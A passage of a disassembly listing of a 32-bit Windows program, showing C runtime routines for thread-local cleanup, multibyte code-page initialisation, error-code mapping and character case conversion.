[ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh jmp short loc_423D77 ; --------------------------------------------------------------------------- loc_423D6D: ; CODE XREF: sub_423CF0+43j ; sub_423CF0+58j push 10h call sub_41EB30 add esp, 4 loc_423D77: ; CODE XREF: sub_423CF0+22j ; sub_423CF0+7Bj mov eax, [ebp+var_8] push eax call dword_4F14A4 ; RtlRestoreLastWin32Error mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_423CF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4516BC, 0FFFFFFFFh jz loc_423E95 cmp dword ptr [ebp+8], 0 jnz short loc_423DB5 mov eax, dword_4516BC push eax call dword_4F14A8 ; TlsGetValue mov [ebp+8], eax loc_423DB5: ; CODE XREF: .nsp0:00423DA4j cmp dword ptr [ebp+8], 0 jz loc_423E86 mov ecx, [ebp+8] cmp dword ptr [ecx+24h], 0 jz short loc_423DD9 push 2 mov edx, [ebp+8] mov eax, [edx+24h] push eax call sub_419980 add esp, 8 loc_423DD9: ; CODE XREF: .nsp0:00423DC6j mov ecx, [ebp+8] cmp dword ptr [ecx+28h], 0 jz short loc_423DF3 push 2 mov edx, [ebp+8] mov eax, [edx+28h] push eax call sub_419980 add esp, 8 loc_423DF3: ; CODE XREF: .nsp0:00423DE0j mov ecx, [ebp+8] cmp dword ptr [ecx+30h], 0 jz short loc_423E0D push 2 mov edx, [ebp+8] mov eax, [edx+30h] push eax call sub_419980 add esp, 8 loc_423E0D: ; CODE XREF: .nsp0:00423DFAj mov ecx, [ebp+8] cmp dword ptr [ecx+38h], 0 jz short loc_423E27 push 2 mov edx, [ebp+8] mov eax, [edx+38h] push eax call sub_419980 add esp, 8 loc_423E27: ; CODE XREF: .nsp0:00423E14j mov ecx, [ebp+8] cmp dword ptr [ecx+40h], 0 jz short loc_423E41 push 2 mov edx, [ebp+8] mov eax, [edx+40h] push eax call sub_419980 add esp, 8 loc_423E41: ; CODE XREF: .nsp0:00423E2Ej mov ecx, [ebp+8] cmp dword ptr [ecx+44h], 0 jz short loc_423E5B push 2 mov edx, [ebp+8] mov eax, [edx+44h] push eax call sub_419980 add esp, 8 loc_423E5B: ; CODE XREF: .nsp0:00423E48j mov ecx, [ebp+8] cmp dword ptr [ecx+50h], offset dword_451BC8 jz short loc_423E78 push 2 mov edx, [ebp+8] mov eax, [edx+50h] push eax call sub_419980 add esp, 8 loc_423E78: ; CODE XREF: .nsp0:00423E65j push 2 mov ecx, [ebp+8] push ecx call sub_419980 add esp, 8 loc_423E86: ; CODE XREF: .nsp0:00423DB9j push 0 mov edx, dword_4516BC push edx call dword_4F1498 ; TlsSetValue loc_423E95: ; CODE XREF: .nsp0:00423D9Aj pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call dword_4F1494 ; GetCurrentThreadId pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call dword_4F14AC ; GetCurrentThread pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC0 proc near ; CODE XREF: sub_4246A0+Ep var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 19h call sub_41FB40 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_424210 add esp, 4 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] cmp ecx, dword_4EFD4C jnz short loc_423EFB push 19h call sub_41FBE0 add esp, 4 xor eax, eax jmp loc_424200 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423EC0+28j cmp [ebp+arg_0], 0 jnz short loc_423F1C call sub_4242F0 call sub_424370 push 19h call sub_41FBE0 add esp, 4 xor eax, eax jmp loc_424200 ; --------------------------------------------------------------------------- loc_423F1C: ; CODE XREF: sub_423EC0+3Fj mov [ebp+var_4], 0 jmp short loc_423F2E ; --------------------------------------------------------------------------- loc_423F25: ; CODE XREF: sub_423EC0:loc_42407Aj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_423F2E: ; CODE XREF: sub_423EC0+63j cmp [ebp+var_4], 5 jnb loc_42407F mov eax, [ebp+var_4] imul eax, 30h mov ecx, dword_4516C8[eax] cmp ecx, [ebp+arg_0] jnz loc_42407A mov [ebp+var_24], 0 jmp short loc_423F5F ; --------------------------------------------------------------------------- loc_423F56: ; CODE XREF: sub_423EC0+B2j mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_423F5F: ; CODE XREF: sub_423EC0+94j cmp [ebp+var_24], 101h jnb short loc_423F74 mov eax, [ebp+var_24] mov byte_4EFE60[eax], 0 jmp short loc_423F56 ; --------------------------------------------------------------------------- loc_423F74: ; CODE XREF: sub_423EC0+A6j mov [ebp+var_C], 0 jmp short loc_423F86 ; --------------------------------------------------------------------------- loc_423F7D: ; CODE XREF: sub_423EC0:loc_424002j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_423F86: ; CODE XREF: sub_423EC0+BBj cmp [ebp+var_C], 4 jnb short loc_424007 mov edx, [ebp+var_4] imul edx, 30h mov eax, [ebp+var_C] lea ecx, dword_4516D8[edx+eax*8] mov [ebp+var_8], ecx jmp short loc_423FAA ; --------------------------------------------------------------------------- loc_423FA1: ; CODE XREF: sub_423EC0:loc_424000j mov edx, [ebp+var_8] add edx, 2 mov [ebp+var_8], edx loc_423FAA: ; CODE XREF: sub_423EC0+DFj mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_424002 mov edx, [ebp+var_8] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_424002 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_423FD6 ; --------------------------------------------------------------------------- loc_423FCD: ; CODE XREF: sub_423EC0+13Ej mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_423FD6: ; CODE XREF: sub_423EC0+10Bj mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_424000 mov eax, [ebp+var_24] mov ecx, [ebp+var_C] mov dl, byte_4EFE61[eax] or dl, byte_4516C0[ecx] mov eax, [ebp+var_24] mov byte_4EFE61[eax], dl jmp short loc_423FCD ; --------------------------------------------------------------------------- loc_424000: ; CODE XREF: sub_423EC0+121j jmp short loc_423FA1 ; --------------------------------------------------------------------------- loc_424002: ; CODE XREF: sub_423EC0+F3j ; sub_423EC0+FFj jmp loc_423F7D ; --------------------------------------------------------------------------- loc_424007: ; CODE XREF: sub_423EC0+CAj mov ecx, [ebp+arg_0] mov dword_4EFD4C, ecx mov dword_4EFD5C, 1 mov edx, dword_4EFD4C push edx call sub_424270 add esp, 4 mov dword_4EFF64, eax mov [ebp+var_C], 0 jmp short loc_424040 ; --------------------------------------------------------------------------- loc_424037: ; CODE XREF: sub_423EC0+1A2j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_424040: ; CODE XREF: sub_423EC0+175j cmp [ebp+var_C], 6 jnb short loc_424064 mov ecx, [ebp+var_4] imul ecx, 30h mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov cx, word_4516CC[ecx+eax*2] mov word_4EFD50[edx*2], cx jmp short loc_424037 ; --------------------------------------------------------------------------- loc_424064: ; CODE XREF: sub_423EC0+184j call sub_424370 push 19h call sub_41FBE0 add esp, 4 xor eax, eax jmp loc_424200 ; --------------------------------------------------------------------------- loc_42407A: ; CODE XREF: sub_423EC0+87j jmp loc_423F25 ; --------------------------------------------------------------------------- loc_42407F: ; CODE XREF: sub_423EC0+72j lea edx, [ebp+var_20] push edx mov eax, [ebp+arg_0] push eax call dword_4F14B0 ; GetCPInfo cmp eax, 1 jnz loc_4241D2 mov [ebp+var_24], 0 jmp short loc_4240A8 ; --------------------------------------------------------------------------- loc_42409F: ; CODE XREF: sub_423EC0+1FBj mov ecx, [ebp+var_24] add ecx, 1 mov [ebp+var_24], ecx loc_4240A8: ; CODE XREF: sub_423EC0+1DDj cmp [ebp+var_24], 101h jnb short loc_4240BD mov edx, [ebp+var_24] mov byte_4EFE60[edx], 0 jmp short loc_42409F ; --------------------------------------------------------------------------- loc_4240BD: ; CODE XREF: sub_423EC0+1EFj mov eax, [ebp+arg_0] mov dword_4EFD4C, eax mov dword_4EFF64, 0 cmp [ebp+var_20], 1 jbe loc_42418E lea ecx, [ebp+var_1A] mov [ebp+var_28], ecx jmp short loc_4240EA ; --------------------------------------------------------------------------- loc_4240E1: ; CODE XREF: sub_423EC0:loc_42413Aj mov edx, [ebp+var_28] add edx, 2 mov [ebp+var_28], edx loc_4240EA: ; CODE XREF: sub_423EC0+21Fj mov eax, [ebp+var_28] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42413C mov edx, [ebp+var_28] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_42413C mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_424116 ; --------------------------------------------------------------------------- loc_42410D: ; CODE XREF: sub_423EC0+278j mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_424116: ; CODE XREF: sub_423EC0+24Bj mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_42413A mov eax, [ebp+var_24] mov cl, byte_4EFE61[eax] or cl, 4 mov edx, [ebp+var_24] mov byte_4EFE61[edx], cl jmp short loc_42410D ; --------------------------------------------------------------------------- loc_42413A: ; CODE XREF: sub_423EC0+261j jmp short loc_4240E1 ; --------------------------------------------------------------------------- loc_42413C: ; CODE XREF: sub_423EC0+233j ; sub_423EC0+23Fj mov [ebp+var_24], 1 jmp short loc_42414E ; --------------------------------------------------------------------------- loc_424145: ; CODE XREF: sub_423EC0+2ACj mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_42414E: ; CODE XREF: sub_423EC0+283j cmp [ebp+var_24], 0FFh jnb short loc_42416E mov ecx, [ebp+var_24] mov dl, byte_4EFE61[ecx] or dl, 8 mov eax, [ebp+var_24] mov byte_4EFE61[eax], dl jmp short loc_424145 ; --------------------------------------------------------------------------- loc_42416E: ; CODE XREF: sub_423EC0+295j mov ecx, dword_4EFD4C push ecx call sub_424270 add esp, 4 mov dword_4EFF64, eax mov dword_4EFD5C, 1 jmp short loc_424198 ; --------------------------------------------------------------------------- loc_42418E: ; CODE XREF: sub_423EC0+213j mov dword_4EFD5C, 0 loc_424198: ; CODE XREF: sub_423EC0+2CCj mov [ebp+var_C], 0 jmp short loc_4241AA ; --------------------------------------------------------------------------- loc_4241A1: ; CODE XREF: sub_423EC0+2FDj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_4241AA: ; CODE XREF: sub_423EC0+2DFj cmp [ebp+var_C], 6 jnb short loc_4241BF mov eax, [ebp+var_C] mov word_4EFD50[eax*2], 0 jmp short loc_4241A1 ; --------------------------------------------------------------------------- loc_4241BF: ; CODE XREF: sub_423EC0+2EEj call sub_424370 push 19h call sub_41FBE0 add esp, 4 xor eax, eax jmp short loc_424200 ; --------------------------------------------------------------------------- loc_4241D2: ; CODE XREF: sub_423EC0+1D0j cmp dword_4EF960, 0 jz short loc_4241F3 call sub_4242F0 call sub_424370 push 19h call sub_41FBE0 add esp, 4 xor eax, eax jmp short loc_424200 ; --------------------------------------------------------------------------- loc_4241F3: ; CODE XREF: sub_423EC0+319j push 19h call sub_41FBE0 add esp, 4 or eax, 0FFFFFFFFh loc_424200: ; CODE XREF: sub_423EC0+36j ; sub_423EC0+57j ... mov esp, ebp pop ebp retn sub_423EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424210 proc near ; CODE XREF: sub_423EC0+14p arg_0 = dword ptr 8 push ebp mov ebp, esp mov dword_4EF960, 0 cmp [ebp+arg_0], 0FFFFFFFEh jnz short loc_424235 mov dword_4EF960, 1 call dword_4F14B8 ; GetOEMCP jmp short loc_424267 ; --------------------------------------------------------------------------- loc_424235: ; CODE XREF: sub_424210+11j cmp [ebp+arg_0], 0FFFFFFFDh jnz short loc_42424D mov dword_4EF960, 1 call dword_4F14B4 ; GetACP jmp short loc_424267 ; --------------------------------------------------------------------------- loc_42424D: ; CODE XREF: sub_424210+29j cmp [ebp+arg_0], 0FFFFFFFCh jnz short loc_424264 mov dword_4EF960, 1 mov eax, dword_4EF984 jmp short loc_424267 ; --------------------------------------------------------------------------- loc_424264: ; CODE XREF: sub_424210+41j mov eax, [ebp+arg_0] loc_424267: ; CODE XREF: sub_424210+23j ; sub_424210+3Bj ... pop ebp retn sub_424210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424270 proc near ; CODE XREF: sub_423EC0+161p ; sub_423EC0+2B5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 3A4h mov [ebp+var_4], ecx cmp [ebp+var_4], 12h ja short loc_4242BA mov eax, [ebp+var_4] xor edx, edx mov dl, byte_4242D4[eax] jmp off_4242C0[edx*4] loc_42429E: ; DATA XREF: .nsp0:off_4242C0o mov eax, 411h jmp short loc_4242BC ; --------------------------------------------------------------------------- loc_4242A5: ; CODE XREF: sub_424270+27j ; DATA XREF: .nsp0:004242C4o mov eax, 804h jmp short loc_4242BC ; --------------------------------------------------------------------------- loc_4242AC: ; CODE XREF: sub_424270+27j ; DATA XREF: .nsp0:004242C8o mov eax, 412h jmp short loc_4242BC ; --------------------------------------------------------------------------- loc_4242B3: ; CODE XREF: sub_424270+27j ; DATA XREF: .nsp0:004242CCo mov eax, 404h jmp short loc_4242BC ; --------------------------------------------------------------------------- loc_4242BA: ; CODE XREF: sub_424270+1Aj ; sub_424270+27j ; DATA XREF: ... xor eax, eax loc_4242BC: ; CODE XREF: sub_424270+33j ; sub_424270+3Aj ... mov esp, ebp pop ebp retn sub_424270 endp ; --------------------------------------------------------------------------- off_4242C0 dd offset loc_42429E ; DATA XREF: sub_424270+27r dd offset loc_4242A5 dd offset loc_4242AC dd offset loc_4242B3 dd offset loc_4242BA byte_4242D4 db 0 ; DATA XREF: sub_424270+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F0 proc near ; CODE XREF: sub_423EC0+41p ; sub_423EC0+31Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_424306 ; --------------------------------------------------------------------------- loc_4242FD: ; CODE XREF: sub_4242F0+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_424306: ; CODE XREF: sub_4242F0+Bj cmp [ebp+var_4], 101h jge short loc_42431B mov ecx, [ebp+var_4] mov byte_4EFE60[ecx], 0 jmp short loc_4242FD ; --------------------------------------------------------------------------- loc_42431B: ; CODE XREF: sub_4242F0+1Dj mov dword_4EFD4C, 0 mov dword_4EFD5C, 0 mov dword_4EFF64, 0 mov [ebp+var_4], 0 jmp short loc_42434B ; --------------------------------------------------------------------------- loc_424342: ; CODE XREF: sub_4242F0+6Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42434B: ; CODE XREF: sub_4242F0+50j cmp [ebp+var_4], 6 jge short loc_424360 mov eax, [ebp+var_4] mov word_4EFD50[eax*2], 0 jmp short loc_424342 ; --------------------------------------------------------------------------- loc_424360: ; CODE XREF: sub_4242F0+5Fj mov esp, ebp pop ebp retn sub_4242F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424370 proc near ; CODE XREF: sub_423EC0+46p ; sub_423EC0:loc_424064p ... var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_418 = byte ptr -418h var_318 = byte ptr -318h var_312 = byte ptr -312h var_304 = byte ptr -304h var_204 = word ptr -204h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 51Ch lea eax, [ebp+var_318] push eax mov ecx, dword_4EFD4C push ecx call dword_4F14B0 ; GetCPInfo cmp eax, 1 jnz loc_4245A9 mov [ebp+var_51C], 0 jmp short loc_4243B1 ; --------------------------------------------------------------------------- loc_4243A2: ; CODE XREF: sub_424370+60j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_4243B1: ; CODE XREF: sub_424370+30j cmp [ebp+var_51C], 100h jnb short loc_4243D2 mov eax, [ebp+var_51C] mov cl, byte ptr [ebp+var_51C] mov [ebp+eax+var_304], cl jmp short loc_4243A2 ; --------------------------------------------------------------------------- loc_4243D2: ; CODE XREF: sub_424370+4Bj mov [ebp+var_304], 20h lea edx, [ebp+var_312] mov [ebp+var_4], edx jmp short loc_4243ED ; --------------------------------------------------------------------------- loc_4243E4: ; CODE XREF: sub_424370:loc_424436j mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax loc_4243ED: ; CODE XREF: sub_424370+72j mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_424438 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov [ebp+var_51C], ecx jmp short loc_424416 ; --------------------------------------------------------------------------- loc_424407: ; CODE XREF: sub_424370+C4j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_424416: ; CODE XREF: sub_424370+95j mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_51C], ecx ja short loc_424436 mov edx, [ebp+var_51C] mov [ebp+edx+var_304], 20h jmp short loc_424407 ; --------------------------------------------------------------------------- loc_424436: ; CODE XREF: sub_424370+B4j jmp short loc_4243E4 ; --------------------------------------------------------------------------- loc_424438: ; CODE XREF: sub_424370+86j push 0 mov eax, dword_4EFF64 push eax mov ecx, dword_4EFD4C push ecx lea edx, [ebp+var_204] push edx push 100h lea eax, [ebp+var_304] push eax push 1 call sub_42C100 add esp, 1Ch push 0 mov ecx, dword_4EFD4C push ecx push 100h lea edx, [ebp+var_418] push edx push 100h lea eax, [ebp+var_304] push eax push 100h mov ecx, dword_4EFF64 push ecx call sub_429750 add esp, 20h push 0 mov edx, dword_4EFD4C push edx push 100h lea eax, [ebp+var_518] push eax push 100h lea ecx, [ebp+var_304] push ecx push 200h mov edx, dword_4EFF64 push edx call sub_429750 add esp, 20h mov [ebp+var_51C], 0 jmp short loc_4244E9 ; --------------------------------------------------------------------------- loc_4244DA: ; CODE XREF: sub_424370:loc_42459Fj mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_4244E9: ; CODE XREF: sub_424370+168j cmp [ebp+var_51C], 100h jnb loc_4245A4 mov ecx, [ebp+var_51C] xor edx, edx mov dx, [ebp+ecx*2+var_204] and edx, 1 test edx, edx jz short loc_424546 mov eax, [ebp+var_51C] mov cl, byte_4EFE61[eax] or cl, 10h mov edx, [ebp+var_51C] mov byte_4EFE61[edx], cl mov eax, [ebp+var_51C] mov ecx, [ebp+var_51C] mov dl, [ebp+ecx+var_418] mov byte_4EFD60[eax], dl jmp short loc_42459F ; --------------------------------------------------------------------------- loc_424546: ; CODE XREF: sub_424370+19Ej mov eax, [ebp+var_51C] xor ecx, ecx mov cx, [ebp+eax*2+var_204] and ecx, 2 test ecx, ecx jz short loc_424592 mov edx, [ebp+var_51C] mov al, byte_4EFE61[edx] or al, 20h mov ecx, [ebp+var_51C] mov byte_4EFE61[ecx], al mov edx, [ebp+var_51C] mov eax, [ebp+var_51C] mov cl, [ebp+eax+var_518] mov byte_4EFD60[edx], cl jmp short loc_42459F ; --------------------------------------------------------------------------- loc_424592: ; CODE XREF: sub_424370+1EBj mov edx, [ebp+var_51C] mov byte_4EFD60[edx], 0 loc_42459F: ; CODE XREF: sub_424370+1D4j ; sub_424370+220j jmp loc_4244DA ; --------------------------------------------------------------------------- loc_4245A4: ; CODE XREF: sub_424370+183j jmp loc_42466E ; --------------------------------------------------------------------------- loc_4245A9: ; CODE XREF: sub_424370+20j mov [ebp+var_51C], 0 jmp short loc_4245C4 ; --------------------------------------------------------------------------- loc_4245B5: ; CODE XREF: sub_424370:loc_424669j mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_4245C4: ; CODE XREF: sub_424370+243j cmp [ebp+var_51C], 100h jnb loc_42466E cmp [ebp+var_51C], 41h jb short loc_424618 cmp [ebp+var_51C], 5Ah ja short loc_424618 mov ecx, [ebp+var_51C] mov dl, byte_4EFE61[ecx] or dl, 10h mov eax, [ebp+var_51C] mov byte_4EFE61[eax], dl mov ecx, [ebp+var_51C] add ecx, 20h mov edx, [ebp+var_51C] mov byte_4EFD60[edx], cl jmp short loc_424669 ; --------------------------------------------------------------------------- loc_424618: ; CODE XREF: sub_424370+26Bj ; sub_424370+274j cmp [ebp+var_51C], 61h jb short loc_42465C cmp [ebp+var_51C], 7Ah ja short loc_42465C mov eax, [ebp+var_51C] mov cl, byte_4EFE61[eax] or cl, 20h mov edx, [ebp+var_51C] mov byte_4EFE61[edx], cl mov eax, [ebp+var_51C] sub eax, 20h mov ecx, [ebp+var_51C] mov byte_4EFD60[ecx], al jmp short loc_424669 ; --------------------------------------------------------------------------- loc_42465C: ; CODE XREF: sub_424370+2AFj ; sub_424370+2B8j mov edx, [ebp+var_51C] mov byte_4EFD60[edx], 0 loc_424669: ; CODE XREF: sub_424370+2A6j ; sub_424370+2EAj jmp loc_4245B5 ; --------------------------------------------------------------------------- loc_42466E: ; CODE XREF: sub_424370:loc_4245A4j ; sub_424370+25Ej mov esp, ebp pop ebp retn sub_424370 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4EFD5C, 0 jz short loc_424693 mov eax, dword_4EFD4C jmp short loc_424695 ; --------------------------------------------------------------------------- loc_424693: ; CODE XREF: .nsp0:0042468Aj xor eax, eax loc_424695: ; CODE XREF: .nsp0:00424691j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246A0 proc near ; CODE XREF: sub_429CD0+Dp ; sub_429D90+Fp ... push ebp mov ebp, esp cmp dword_4F0FAC, 0 jnz short loc_4246C0 push 0FFFFFFFDh call sub_423EC0 add esp, 4 mov dword_4F0FAC, 1 loc_4246C0: ; CODE XREF: sub_4246A0+Aj pop ebp retn sub_4246A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246D0 proc near ; CODE XREF: sub_41BA10+41p ; sub_41BA10+11Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp dword_4EFD5C, 0 jnz short loc_4246FC mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41B1F0 add esp, 0Ch jmp loc_4247F1 ; --------------------------------------------------------------------------- loc_4246FC: ; CODE XREF: sub_4246D0+11j push 19h call sub_41FB40 add esp, 4 loc_424706: ; CODE XREF: sub_4246D0:loc_4247BEj cmp [ebp+arg_8], 0 jz loc_4247C3 mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4EFE61[eax] and ecx, 4 test ecx, ecx jz short loc_424795 mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_8], 0 jnz short loc_42475A mov ecx, [ebp+arg_0] mov byte ptr [ecx-1], 0 jmp short loc_4247C3 ; --------------------------------------------------------------------------- loc_42475A: ; CODE XREF: sub_4246D0+7Fj mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test ecx, ecx jnz short loc_424793 mov ecx, [ebp+arg_0] mov byte ptr [ecx-2], 0 jmp short loc_4247C3 ; --------------------------------------------------------------------------- loc_424793: ; CODE XREF: sub_4246D0+B8j jmp short loc_4247BE ; --------------------------------------------------------------------------- loc_424795: ; CODE XREF: sub_4246D0+5Dj mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx test eax, eax jnz short loc_4247BE jmp short loc_4247C3 ; --------------------------------------------------------------------------- loc_4247BE: ; CODE XREF: sub_4246D0:loc_424793j ; sub_4246D0+EAj jmp loc_424706 ; --------------------------------------------------------------------------- loc_4247C3: ; CODE XREF: sub_4246D0+3Aj ; sub_4246D0+88j ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_4247E4 mov edx, [ebp+arg_0] mov byte ptr [edx], 0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_4247C3 ; --------------------------------------------------------------------------- loc_4247E4: ; CODE XREF: sub_4246D0+101j push 19h call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] loc_4247F1: ; CODE XREF: sub_4246D0+27j mov esp, ebp pop ebp retn sub_4246D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424800 proc near ; CODE XREF: sub_41C150+2Ep ; sub_41DEA0+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4248B0 mov ecx, [ebp+arg_0] mov [eax], ecx mov [ebp+var_4], 0 jmp short loc_424820 ; --------------------------------------------------------------------------- loc_424817: ; CODE XREF: sub_424800:loc_424848j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_424820: ; CODE XREF: sub_424800+15j cmp [ebp+var_4], 2Dh jnb short loc_42484A mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, dword_4517B8[eax*8] jnz short loc_424848 call sub_4248A0 mov edx, [ebp+var_4] mov ecx, dword_4517BC[edx*8] mov [eax], ecx jmp short loc_42488D ; --------------------------------------------------------------------------- loc_424848: ; CODE XREF: sub_424800+33j jmp short loc_424817 ; --------------------------------------------------------------------------- loc_42484A: ; CODE XREF: sub_424800+24j cmp [ebp+arg_0], 13h jb short loc_424863 cmp [ebp+arg_0], 24h ja short loc_424863 call sub_4248A0 mov dword ptr [eax], 0Dh jmp short loc_42488D ; --------------------------------------------------------------------------- loc_424863: ; CODE XREF: sub_424800+4Ej ; sub_424800+54j cmp [ebp+arg_0], 0BCh jb short loc_424882 cmp [ebp+arg_0], 0CAh ja short loc_424882 call sub_4248A0 mov dword ptr [eax], 8 jmp short loc_42488D ; --------------------------------------------------------------------------- loc_424882: ; CODE XREF: sub_424800+6Aj ; sub_424800+73j call sub_4248A0 mov dword ptr [eax], 16h loc_42488D: ; CODE XREF: sub_424800+46j ; sub_424800+61j ... mov esp, ebp pop ebp retn sub_424800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4248A0 proc near ; CODE XREF: sub_41BDF0:loc_41C0C2p ; sub_41DD30:loc_41DD8Bp ... push ebp mov ebp, esp call sub_423CF0 add eax, 8 pop ebp retn sub_4248A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4248B0 proc near ; CODE XREF: sub_41DEA0+4Ap ; sub_41F570+3Cp ... push ebp mov ebp, esp call sub_423CF0 add eax, 0Ch pop ebp retn sub_4248B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] sub eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4248D0 proc near ; CODE XREF: sub_41BDF0+201p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4EF974, 0 jnz short loc_4248F7 cmp [ebp+arg_0], 61h jl short loc_4248F2 cmp [ebp+arg_0], 7Ah jg short loc_4248F2 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_4248F2: ; CODE XREF: sub_4248D0+11j ; sub_4248D0+17j mov eax, [ebp+arg_0] jmp short loc_42495F ; --------------------------------------------------------------------------- loc_4248F7: ; CODE XREF: sub_4248D0+Bj push offset dword_4EFD48 call dword_4F1454 ; InterlockedIncrement cmp dword_4EFD44, 0 jz short loc_424929 push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement push 13h call sub_41FB40 add esp, 4 mov [ebp+var_4], 1 jmp short loc_424930 ; --------------------------------------------------------------------------- loc_424929: ; CODE XREF: sub_4248D0+39j mov 